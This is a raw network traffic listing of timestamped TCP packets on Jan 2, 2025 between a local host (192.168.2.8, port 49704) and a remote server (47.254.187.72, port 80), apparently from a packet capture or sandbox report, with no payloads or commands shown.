Jan 2, 2025 20:20:09.110332012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.110342026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.110363007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.110363007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.110389948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.121766090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.121820927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.121838093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.121849060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.121860027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.121864080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.121865034 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.121871948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.121884108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.121901989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.121918917 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.121918917 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.122020960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.128168106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.128185987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.128196955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.128242970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.128271103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.128283024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.128294945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.128307104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.128318071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.128329039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.128329039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.128367901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.131951094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.131961107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.131970882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.132006884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.132035017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.132046938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.132050991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.132062912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.132076979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.132087946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.132095098 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.132129908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.132131100 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.135802984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.135838032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.135848999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.135860920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.135878086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.135879040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.135879040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.135889053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.135900021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.135937929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.135938883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.152687073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.152704954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.152718067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.152734041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.152745962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.152756929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.152757883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.152769089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.152779102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.152812958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.165841103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.165853977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.165865898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.165879011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.165889978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.165900946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.165911913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.165935040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.165962934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.165993929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166006088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166023970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166037083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166049004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166059017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166069031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166069031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166069031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166079998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166091919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166101933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166129112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166129112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166140079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166150093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166151047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166203022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166203022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166312933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166357994 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166630030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166641951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166652918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166662931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166673899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166686058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166690111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166698933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166708946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166712046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166728020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166744947 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166745901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166744947 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166757107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166769028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166771889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166779041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166790962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166801929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166811943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166815996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166865110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166865110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166937113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166949034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166960001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.166985989 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.166999102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.167010069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.167021036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.167021990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.167032957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.167047977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.167087078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.171991110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.172017097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.172048092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.172065973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.172072887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.172077894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.172090054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.172101974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.172112942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.172132015 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.172132015 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.172158957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.173927069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.173938990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.173949957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.173971891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.173984051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.173996925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.173998117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.174027920 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.174058914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.174098015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.174109936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.174120903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.174133062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.174144030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.174154043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.174160957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.174165964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.174177885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.174189091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.174189091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.174215078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.174215078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.201313019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.201325893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.201342106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.201389074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.201421976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.201426029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.201438904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.201450109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.201459885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.201471090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.201483011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.201493979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.201499939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.201499939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.201503992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.201515913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.201529026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.201531887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.201543093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.201554060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.201591969 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.201591969 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.212450027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.212462902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.212479115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.212521076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.212538958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.212549925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.212560892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.212560892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.212572098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.212619066 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.212620020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.219516039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.219528913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.219540119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.219551086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.219562054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.219563007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.219583988 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.219614029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.219646931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.219659090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.219701052 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.223242044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.223332882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.223407984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.223418951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.223429918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.223439932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.223453045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.223462105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.223463058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.223474026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.223495960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.223505974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.223546982 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.226953030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.227034092 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.227099895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.227109909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.227121115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.227130890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.227140903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.227153063 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.227154016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.227164984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.227179050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.227205038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.227220058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.227235079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.227293015 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.243344069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.243359089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.243370056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.243381023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.243391991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.243402004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.243412971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.243421078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.243424892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.243486881 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.243486881 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.256567955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256582022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256592035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256607056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256623030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256634951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256640911 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.256644964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256658077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256670952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256674051 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.256697893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.256700039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256711006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256716967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.256722927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256737947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256748915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256758928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256762028 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.256781101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256787062 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.256787062 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.256798029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256803036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.256819010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256829023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256834030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.256844997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256856918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256860018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.256866932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256874084 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.256879091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256890059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256901026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256905079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.256927013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256928921 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.256937981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256944895 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.256948948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256959915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.256967068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257009983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.257009983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.257036924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257047892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257057905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257100105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.257100105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.257128954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257141113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257152081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257164955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257174969 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.257175922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257220984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.257220984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.257452965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257463932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257474899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257512093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.257538080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257539034 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.257548094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257560015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257570982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257586956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257596970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.257608891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.257622004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.257658005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.262701988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.262715101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.262732029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.262749910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.262761116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.262770891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.262783051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.262793064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.262806892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.262806892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.262833118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.262845039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.264574051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264631033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.264673948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264684916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264695883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264705896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264719009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.264727116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264738083 CET	80	49704	47.254.187.72	192.168.2.8
